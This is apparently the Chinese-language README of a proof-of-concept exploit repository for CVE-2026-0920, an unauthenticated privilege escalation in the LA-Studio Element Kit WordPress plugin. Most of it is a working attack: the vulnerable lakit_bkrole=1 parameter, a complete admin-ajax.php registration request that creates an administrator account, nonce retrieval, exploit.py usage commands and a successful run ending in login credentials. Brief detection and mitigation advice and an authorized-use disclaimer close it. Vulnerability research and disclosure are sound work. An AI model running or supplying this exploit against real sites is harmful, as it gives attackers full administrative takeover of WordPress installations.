针对 LA-Studio Element Kit WordPress 插件中 CVE-2026-0920 未认证权限提升漏洞的概念验证利用程序。
该漏洞允许未认证攻击者滥用插件的注册功能,创建一个具有管理员权限的 WordPress 账户。
本仓库包含一个 Python 概念验证程序,专为授权安全研究、漏洞验证和受控实验室环境而设计。
| 属性 | 值 |
|---|---|
| CVE | CVE-2026-0920 |
| 厂商 | LA-Studio |
| 产品 | Element Kit |
| 平台 | WordPress |
| 漏洞类型 | 未认证权限提升 |
| 是否需要认证 | 否 |
| CWE | CWE-269 |
| 影响 | 创建管理员账户 |
| PoC | exploit.py |
该漏洞存在于插件的注册功能中,攻击者可控的注册数据可以影响新创建的 WordPress 账户所被赋予的权限。
存在漏洞的参数为:
lakit_bkrole
通过在注册过程中提供提升后的角色值,未认证攻击者可以使新创建的账户获得 WordPress 管理员权限。
LA-Studio Element Kit 通过基于 AJAX 的注册处理器提供用户注册功能。
存在漏洞的流程通过以下方式暴露注册机制:
/wp-admin/admin-ajax.php
该请求使用 AJAX 动作:
lakit_ajax
并通过以下方式执行注册操作:
{
"action": "register"
}
安全问题的根源在于,服务端注册逻辑未能有效阻止未认证客户端通过以下方式提供特权角色值:
lakit_bkrole=1
因此,攻击者可以构造一个注册请求,从而创建一个具有 administrator 角色的 WordPress 账户。
执行该攻击无需任何现有的 WordPress 账户。
该 PoC 执行三阶段流程:
┌──────────────────────┐
│ 引导端点 │
│ │
│ 获取 nonce 和 │
│ 插件信息 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ 注册请求 │
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ 验证 │
│ │
│ 定位已创建的用户 │
│ 确认管理员角色 │
└──────────────────────┘
该利用程序不仅仅依赖注册响应。
相反,它会验证新创建的账户确实存在且具有管理员权限。
第一个请求的目标是:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
示例:
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
存在漏洞的实验室实例可能返回:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
PoC 从以下位置提取 nonce:
"nonce": "577023f674"
随后将该 nonce 提供给注册请求。
引导响应还可以暴露当前已注册的用户,这使得 PoC 能够在利用前后对比用户列表。
PoC 将注册请求发送至:
/wp-admin/admin-ajax.php
该请求使用:
action=lakit_ajax
并附带嵌套的注册动作:
action=register
代表性请求如下:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
相关的注册数据为:
{
"username": "eviladmin",
"email": "[email protected]",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
安全敏感参数为:
lakit_bkrole=1
该请求在未经过认证的 WordPress 会话下执行。
成功的注册请求返回 HTTP 200 OK 响应。
示例:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
JSON 响应的结构类似于:
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
PoC 报告:
[+] User creation appears successful.
然而,PoC 不会仅凭该响应就将其视为权限提升的充分证据。
账户将在下一阶段进行验证。
注册完成后,PoC 再次请求引导端点:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
响应现在包含新创建的账户。
示例:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
关键证据是:
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
这确认了攻击者控制的账户是以管理员权限创建的。
正常的未认证注册流程应创建一个具有受限角色(如 subscriber)的账户。
客户端不应被信任来选择特权 WordPress 角色。
存在漏洞的流程实际上允许:
未认证攻击者
|
v
注册端点
|
v
攻击者控制的角色参数
|
v
WordPress 用户创建
|
v
administrator
这跨越了预期的权限边界,且无需事先认证。
PoC 需要:
Python 3
可访问目标的网络连接
存在漏洞的 LA-Studio Element Kit 安装
无需任何 WordPress 凭据。
使用目标地址和端口运行利用程序:
python exploit.py -t 127.0.0.1 -p 8103
语法为:
python exploit.py -t <target> -p <port>
例如:
python exploit.py -t 127.0.0.1 -p 8103
一次成功的利用运行如下所示:
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
重要的验证阶段为:
[+] User creation appears successful.
随后是:
[+] User 'eviladmin' found. Roles: ['administrator']
最后是:
[+] Confirmed administrator privilege!
最终消息表明 PoC 已验证权限提升,而不仅仅是收到了成功的 HTTP 响应。
完整的 PoC 执行过程可总结为:
1. 指定目标
|
v
2. 请求引导端点
|
v
3. 提取注册 nonce
|
v
4. 枚举现有用户
|
v
5. 提交恶意注册请求
|
v
6. 创建新账户
|
v
7. 再次查询引导端点
|
v
8. 定位新账户
|
v
9. 检查账户角色
|
v
10. 确认 administrator 权限
GET /wp-json/cve-2026-0920/v1/bootstrap
目的:
- 识别插件
- 获取 nonce
- 获取注册端点
- 记录现有用户
POST /wp-admin/admin-ajax.php
重要参数:
action=lakit_ajax
_nonce=<nonce>
actions=<注册 JSON>
注册数据:
username=<攻击者控制的用户名>
email=<攻击者控制的邮箱>
password=<攻击者控制的密码>
password-confirm=<攻击者控制的密码>
lakit_bkrole=1
目的:
创建攻击者控制的账户。
GET /wp-json/cve-2026-0920/v1/bootstrap
目的:
- 确认账户存在
- 检查账户角色
- 验证管理员权限
当响应中包含生成的账户且带有以下内容时,即可确认利用成功:
"roles": [
"administrator"
]
成功利用可使未认证攻击者获得一个 WordPress 管理员账户。
根据 WordPress 安装的具体情况,管理员访问权限可允许攻击者:
- 修改站点内容
- 创建额外的特权账户
- 修改插件
- 修改主题
- 更改 WordPress 设置
- 访问特权管理功能
- 修改应用程序数据
- 通过可用的 WordPress 功能潜在执行服务端代码
最终影响取决于托管配置、已启用的插件、WordPress 安全控制以及可用的管理功能。
防御者应监控涉及以下内容的可疑请求:
/wp-admin/admin-ajax.php
并结合:
action=lakit_ajax
以及包含以下内容的注册请求:
lakit_bkrole
还应调查意外的 WordPress 管理员账户。
一个特别有用的防御性检查是审计最近创建的账户,并将其时间戳和角色与合法的管理活动进行对比。
主要缓解措施是将 LA-Studio Element Kit 更新到包含安全修复的版本。
管理员还应:
- 审查现有的管理员账户
- 删除未经授权的账户
- 审计最近的 WordPress 用户创建活动
- 监控可疑的 admin-ajax 请求
- 限制 WordPress 管理功能的不必要暴露
- 保持 WordPress 及已安装插件的最新状态
如果怀疑已被入侵,请轮换受影响的 WordPress 凭据,并调查是否存在其他未经授权的修改。
PoC 在受控实验室环境中进行了测试,环境配置如下:
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Web Server: Apache/2.4.59
PHP: 8.2.21
Target: http://127.0.0.1:8103
成功测试的结果为:
User: eviladmin
Role: administrator
本项目仅供授权安全研究、漏洞验证和教育性实验室使用。
仅可对您拥有或已获得明确许可的系统进行测试。
未经授权,请勿将此 PoC 用于任何系统。